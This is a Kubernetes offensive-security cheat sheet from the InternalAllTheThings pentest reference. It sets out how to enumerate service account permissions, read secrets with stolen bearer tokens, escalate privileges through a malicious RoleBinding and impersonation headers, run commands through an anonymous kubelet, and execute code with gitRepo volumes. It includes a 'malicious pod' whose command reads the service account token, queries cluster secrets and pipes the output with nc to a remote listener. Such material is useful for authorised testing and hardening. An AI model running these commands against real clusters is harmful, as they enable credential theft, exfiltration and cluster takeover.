kubernetes.md (19240B)
1 --- 2 title: "Kubernetes" 3 section: "Containers" 4 sectionSlug: "containers" 5 sourcePath: "docs/containers/kubernetes.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/containers/kubernetes.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Kubernetes 12 13 > Kubernetes, often abbreviated as K8s, is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications. It was originally designed by Google, and is now maintained by the Cloud Native Computing Foundation. 14 15 ## Summary 16 17 - [Tools](#tools) 18 - [Container Environment](#container-environment) 19 - [Information Gathering](#information-gathering) 20 - [RBAC Configuration](#rbac-configuration) 21 - [Listing Secrets](#listing-secrets) 22 - [Access Any Resource or Verb](#access-any-resource-or-verb) 23 - [Pod Creation](#pod-creation) 24 - [Privilege to Use Pods/Exec](#privilege-to-use-podsexec) 25 - [Privilege to Get/Patch Rolebindings](#privilege-to-getpatch-rolebindings) 26 - [Impersonating a Privileged Account](#impersonating-a-privileged-account) 27 - [Privileged Service Account Token](#privileged-service-account-token) 28 - [Kubernetes Endpoints](#kubernetes-endpoints) 29 - [Exploits](#exploits) 30 - [Accessible kubelet on 10250/TCP](#accessible-kubelet-on-10250tcp) 31 - [Obtaining Service Account Token](#obtaining-service-account-token) 32 - [References](#references) 33 34 ## Tools 35 36 - [BishopFox/badpods](https://github.com/BishopFox/badpods) - A collection of manifests that will create pods with elevated privileges. 37 38 ```ps1 39 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml 40 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml 41 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml 42 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml 43 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml 44 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml 45 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml 46 kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml 47 ``` 48 49 - [serain/kubelet-anon-rce](https://github.com/serain/kubelet-anon-rce) - Executes commands in a container on a kubelet endpoint that allows anonymous authentication 50 - [DataDog/KubeHound](https://github.com/DataDog/KubeHound) - Kubernetes Attack Graph 51 52 ```ps1 53 # Critical paths enumeration 54 kh.containers().criticalPaths().count() 55 kh.containers().dedup().by("name").criticalPaths().count() 56 kh.endpoints(EndpointExposure.ClusterIP).criticalPaths().count() 57 kh.endpoints(EndpointExposure.NodeIP).criticalPaths().count() 58 kh.endpoints(EndpointExposure.External).criticalPaths().count() 59 kh.services().criticalPaths().count() 60 61 # DNS services and port 62 kh.endpoints(EndpointExposure.External).criticalPaths().limit(local,1) 63 .dedup().valueMap("serviceDns","port") 64 .group().by("serviceDns").by("port") 65 ``` 66 67 - [Shopify/kubeaudit](https://github.com/Shopify/kubeaudit) - Audit Kubernetes clusters against common security concerns 68 - [aquasecurity/kube-bench](https://github.com/aquasecurity/kube-bench) - Checks whether Kubernetes is deployed securely by running [CIS Kubernetes Benchmark](https://www.cisecurity.org/benchmark/kubernetes/) 69 - [aquasecurity/kube-hunter](https://github.com/aquasecurity/kube-hunter) - Hunt for security weaknesses in Kubernetes clusters 70 - [armosec/kubescape](https://github.com/armosec/kubescape) - Automate Kubernetes cluster scans to identify security issues 71 - [kubesec.io](https://kubesec.io/) - Security risk analysis for Kubernetes resources 72 - [katacoda.com](https://katacoda.com/courses/kubernetes) - Learn Kubernetes using interactive broser-based scenarios 73 74 ## Container Environment 75 76 Containers within a Kubernetes cluster automatically have certain information made available to them through their [container environment](https://kubernetes.io/docs/concepts/containers/container-environment/). Additional information may have been made available through the volumes, environment variables, or the downward API, but this section covers only what is made available by default. 77 78 ### Service Account 79 80 Each Kubernetes pod is assigned a service account for accessing the Kubernetes API. The service account, in addition to the current namespace and Kubernetes SSL certificate, are made available via a mounted read-only volume: 81 82 ```ps1 83 /var/run/secrets/kubernetes.io/serviceaccount/token 84 /var/run/secrets/kubernetes.io/serviceaccount/namespace 85 /var/run/secrets/kubernetes.io/serviceaccount/ca.crt 86 ``` 87 88 If the `kubectl` utility is installed in the container, it will use this service account automatically and will make interacting with the cluster much easier. If not, the contents of the `token` and `namespace` files can be used to make HTTP API requests directly. 89 90 ### Environment Variables 91 92 The `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` environment variables are automatically provided to the container. They contain the IP address and port number of the Kubernetes master node. If `kubectl` is installed, it will use these values automatically. If not, the values can be used to determine the correct IP address to send API requests to. 93 94 ```ps1 95 KUBERNETES_SERVICE_HOST=192.168.154.228 96 KUBERNETES_SERVICE_PORT=443 97 ``` 98 99 Additionally, [environment variables](https://kubernetes.io/docs/concepts/services-networking/service/#discovering-services) are automatically created for each Kubernetes service running in the current namespace when the container was created. The environment variables are named using two patterns: 100 101 - A simplified `{SVCNAME}_SERVICE_HOST` and `{SVCNAME}_SERVICE_PORT` contain the IP address and default port number for the service. 102 - A [Docker links](https://docs.docker.com/network/links/#environment-variables) collection of variables named `{SVCNAME}_PORT_{NUM}_{PROTOCOL}_{PROTO|PORT|ADDR}` for each port the service exposes. 103 104 For example, all of the following environment variables would be available if a `redis-master` service were running with port 6379 exposed: 105 106 ```ps1 107 REDIS_MASTER_SERVICE_HOST=10.0.0.11 108 REDIS_MASTER_SERVICE_PORT=6379 109 REDIS_MASTER_PORT=tcp://10.0.0.11:6379 110 REDIS_MASTER_PORT_6379_TCP=tcp://10.0.0.11:6379 111 REDIS_MASTER_PORT_6379_TCP_PROTO=tcp 112 REDIS_MASTER_PORT_6379_TCP_PORT=6379 113 REDIS_MASTER_PORT_6379_TCP_ADDR=10.0.0.11 114 ``` 115 116 ### Simulating `kubectl` API Requests 117 118 Most containers within a Kubernetes cluster won't have the `kubectl` utility installed. If running the [one-line `kubectl` installer](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) within the container isn't an option, you may need to craft Kubernetes HTTP API requests manually. This can be done by using `kubectl` _locally_ to determine the correct API request to send from the container. 119 120 1. Run the desired command at the maximum verbosity level using `kubectl -v9 ...` 121 1. The output will include HTTP API endpoint URL, the request body, and an example curl command. 122 1. Replace the endpoint URL's hostname and port with the `KUBERNETES_SERVICE_HOST` and `KUBERNETES_SERVICE_PORT` values from the container's environment variables. 123 1. Replace the masked "Authorization: Bearer" token value with the contents of `/var/run/secrets/kubernetes.io/serviceaccount/token` from the container. 124 1. If the request had a body, ensure the "Content-Type: application/json" header is included and send the request body using the customary method (for curl, use the `--data` flag). 125 126 For example, this output was used to create the [Service Account Permissions](#service-account-permissions) request: 127 128 ```powershell 129 # NOTE: only the Authorization and Content-Type headers are required. The rest can be omitted. 130 $ kubectl -v9 auth can-i --list 131 I1028 18:58:38.192352 76118 loader.go:359] Config loaded from file /home/example/.kube/config 132 I1028 18:58:38.193847 76118 request.go:942] Request Body: {"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}} 133 I1028 18:58:38.193912 76118 round_trippers.go:419] curl -k -v -XPOST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.14.10 (linux/amd64) kubernetes/f5757a1" 'https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews' 134 I1028 18:58:38.295722 76118 round_trippers.go:438] POST https://1.2.3.4:5678/apis/authorization.k8s.io/v1/selfsubjectrulesreviews 201 Created in 101 milliseconds 135 I1028 18:58:38.295760 76118 round_trippers.go:444] Response Headers: 136 ... 137 ``` 138 139 ## Information Gathering 140 141 ### Service Account Permissions 142 143 The default service account may have been granted additional permissions that make cluster compromise or lateral movement easier. 144 The following can be used to determine the service account's permissions: 145 146 ```powershell 147 # Namespace-level permissions using kubectl 148 kubectl auth can-i --list 149 150 # Cluster-level permissions using kubectl 151 kubectl auth can-i --list --namespace=kube-system 152 153 # Permissions list using curl 154 NAMESPACE=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/namespace") 155 # For cluster-level, use NAMESPACE="kube-system" instead 156 157 MASTER_URL="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" 158 TOKEN=$(cat "/var/run/secrets/kubernetes.io/serviceaccount/token") 159 curl "${MASTER_URL}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ 160 --cacert "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt" \ 161 --header "Authorization: Bearer ${TOKEN}" \ 162 --header "Content-Type: application/json" \ 163 --data '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'${NAMESPACE}'"}}' 164 ``` 165 166 ### Secrets, ConfigMaps, and Volumes 167 168 Kubernetes provides Secrets and ConfigMaps as a way to load configuration into containers at runtime. While they may not lead directly to whole cluster compromise, the information they contain can lead to individual service compromise or enable lateral movement within a cluster. 169 170 From a container perspective, Kubernetes Secrets and ConfigMaps are identical. Both can be loaded into environment variables or mounted as volumes. It's not possible to determine if an environment variable was loaded from a Secret/ConfigMap, so each environment variable will need to be manually inspected. When mounted as a volume, Secrets/ConfigMaps are always mounted as read-only tmpfs filesystems. You can quickly find these with `grep -F "tmpfs ro" /etc/mtab`. 171 172 True Kubernetes Volumes are typically used as shared storage or for persistent storage across restarts. These are typically mounted as ext4 filesystems and can be identified with `grep -wF "ext4" /etc/mtab`. 173 174 ### Privileged Containers 175 176 Kubernetes supports a wide range of [security contexts](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) for container and pod execution. The most important of these is the "privileged" [security policy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) which makes the host node's devices available under the container's `/dev` directory. This means having access to the host's Docker socket file (allowing arbitrary container actions) in addition to the host's root disks (which can be used to escape the container entirely). 177 178 While there is no official way to check for privileged mode from _within_ a container, checking if `/dev/kmsg` exists will usually suffice. 179 180 ## RBAC Configuration 181 182 ### Listing Secrets 183 184 An attacker that gains access to list secrets in the cluster can use the following curl commands to get all secrets in "kube-system" namespace. 185 186 ```powershell 187 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ 188 curl -k -v -H "Authorization: Bearer <jwt_token>" -H "Content-Type: application/json" https://<master_ip>:6443/api/v1/namespaces/default/secrets | jq -r '.items[].data' 189 ``` 190 191 ### Access Any Resource or Verb 192 193 ```powershell 194 resources: 195 - '*' 196 verbs: 197 - '*' 198 ``` 199 200 ### Pod Creation 201 202 Check your right with `kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml`. 203 Then create a malicious pod.yaml file. 204 205 ```yaml 206 apiVersion: v1 207 kind: Pod 208 metadata: 209 name: alpine 210 namespace: kube-system 211 spec: 212 containers: 213 - name: alpine 214 image: alpine 215 command: ["/bin/sh"] 216 args: 217 [ 218 "-c", 219 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000', 220 ] 221 serviceAccountName: bootstrap-signer 222 automountServiceAccountToken: true 223 hostNetwork: true 224 ``` 225 226 Then `kubectl apply -f malicious-pod.yaml` 227 228 ### Privilege to Use Pods/Exec 229 230 ```powershell 231 kubectl exec -it <POD NAME> -n <PODS NAMESPACE> –- sh 232 ``` 233 234 ### Privilege to Get/Patch Rolebindings 235 236 The purpose of this JSON file is to bind the admin "CluserRole" to the compromised service account. 237 Create a malicious RoleBinging.json file. 238 239 ```powershell 240 { 241 "apiVersion": "rbac.authorization.k8s.io/v1", 242 "kind": "RoleBinding", 243 "metadata": { 244 "name": "malicious-rolebinding", 245 "namespaces": "default" 246 }, 247 "roleRef": { 248 "apiGroup": "*", 249 "kind": "ClusterRole", 250 "name": "admin" 251 }, 252 "subjects": [ 253 { 254 "kind": "ServiceAccount", 255 "name": "sa-comp" 256 "namespace": "default" 257 } 258 ] 259 } 260 ``` 261 262 ```powershell 263 curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings -d @malicious-RoleBinging.json 264 curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>" -H "Content-Type: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret 265 ``` 266 267 ### Impersonating a Privileged Account 268 269 ```powershell 270 curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" -H "Impersonate-Group: system:masters" -H "Impersonate-User: null" -H "Accept: application/json" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ 271 ``` 272 273 ## Privileged Service Account Token 274 275 ```powershell 276 cat /run/secrets/kubernetes.io/serviceaccount/token 277 curl -k -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/ 278 ``` 279 280 ## Kubernetes Endpoints 281 282 ```powershell 283 # List Pods 284 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/pods/ 285 286 # List secrets 287 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/default/secrets/ 288 289 # List deployments 290 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/deployments 291 292 # List daemonsets 293 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip:<port>/apis/extensions/v1beta1/namespaces/default/daemonsets 294 ``` 295 296 ### cAdvisor 297 298 ```powershell 299 curl -k https://<IP Address>:4194 300 ``` 301 302 ### Insecure API server 303 304 ```powershell 305 curl -k https://<IP Address>:8080 306 ``` 307 308 ### Secure API Server 309 310 ```powershell 311 curl -k https://<IP Address>:(8|6)443/swaggerapi 312 curl -k https://<IP Address>:(8|6)443/healthz 313 curl -k https://<IP Address>:(8|6)443/api/v1 314 ``` 315 316 ### etcd API 317 318 ```powershell 319 curl -k https://<IP address>:2379 320 curl -k https://<IP address>:2379/version 321 etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only 322 ``` 323 324 ### Kubelet API 325 326 ```powershell 327 curl -k https://<IP address>:10250 328 curl -k https://<IP address>:10250/metrics 329 curl -k https://<IP address>:10250/pods 330 ``` 331 332 ### kubelet (Read only) 333 334 ```powershell 335 curl -k https://<IP Address>:10255 336 http://<external-IP>:10255/pods 337 ``` 338 339 ## Exploits 340 341 ### Accessible kubelet on 10250/TCP 342 343 **Requirements**: 344 345 - `--anonymous-auth`: Enables anonymous requests to the Kubelet server 346 347 **Exploit**: 348 349 - Getting pods: `curl -ks https://worker:10250/pods` 350 - Run commands: `curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d'tty=1' -d 'command=ls' -d 'command=/'` 351 352 ### Obtaining Service Account Token 353 354 Token is stored at `/var/run/secrets/kubernetes.io/serviceaccount/token` 355 356 Use the service account token: 357 358 - on `kube-apiserver` API: `curl -ks -H "Authorization: Bearer <TOKEN>" https://master:6443/api/v1/namespaces/{namespace}/secrets` 359 - with kubectl: `kubectl --insecure-skip-tls-verify=true --server="https://master:6443" --token="<TOKEN>" get secrets --all-namespaces -o json` 360 361 ### Create gitRepo Volumes to Execute Code 362 363 **Requirements**: 364 365 - [`gitRepo`](https://kubernetes.io/docs/concepts/storage/volumes/#gitrepo) volume type enabled 366 - `create` rights on pods 367 368 **Exploit**: 369 370 ```yml 371 apiVersion: v1 372 kind: Pod 373 metadata: 374 name: test-pd 375 spec: 376 containers: 377 - image: alpine:latest 378 command: ["sleep","86400"] 379 name: test-container 380 volumeMounts: 381 - mountPath: /gitrepo 382 name: gitvolume 383 volumes: 384 - name: gitvolume 385 gitRepo: 386 directory: g/.git 387 repository: https://github.com/raesene/repopodexploit.git 388 revision: main 389 ``` 390 391 ## References 392 393 - [Attacking Kubernetes through Kubelet - Withsecure Labs- 11 January, 2019](https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet) 394 - [kubehound - Attack Reference](https://kubehound.io/reference/attacks/) 395 - [KubeHound: Identifying attack paths in Kubernetes clusters - Datadog - October 2, 2023](https://securitylabs.datadoghq.com/articles/kubehound-identify-kubernetes-attack-paths/) 396 - [Fun With GitRepo Volumes - Rory McCune - JULY 10TH, 2024](https://raesene.github.io/blog/2024/07/10/Fun-With-GitRepo-Volumes/) 397 - [Kubernetes Pentest Methodology Part 1 - by Or Ida on August 8, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1) 398 - [Kubernetes Pentest Methodology Part 2 - by Or Ida on September 5, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2) 399 - [Kubernetes Pentest Methodology Part 3 - by Or Ida on November 21, 2019](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3) 400 - [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) 401 - [Kubernetes Pod Privilege Escalation](https://labs.bishopfox.com/tech-blog/bad-pods-kubernetes-pod-privilege-escalation)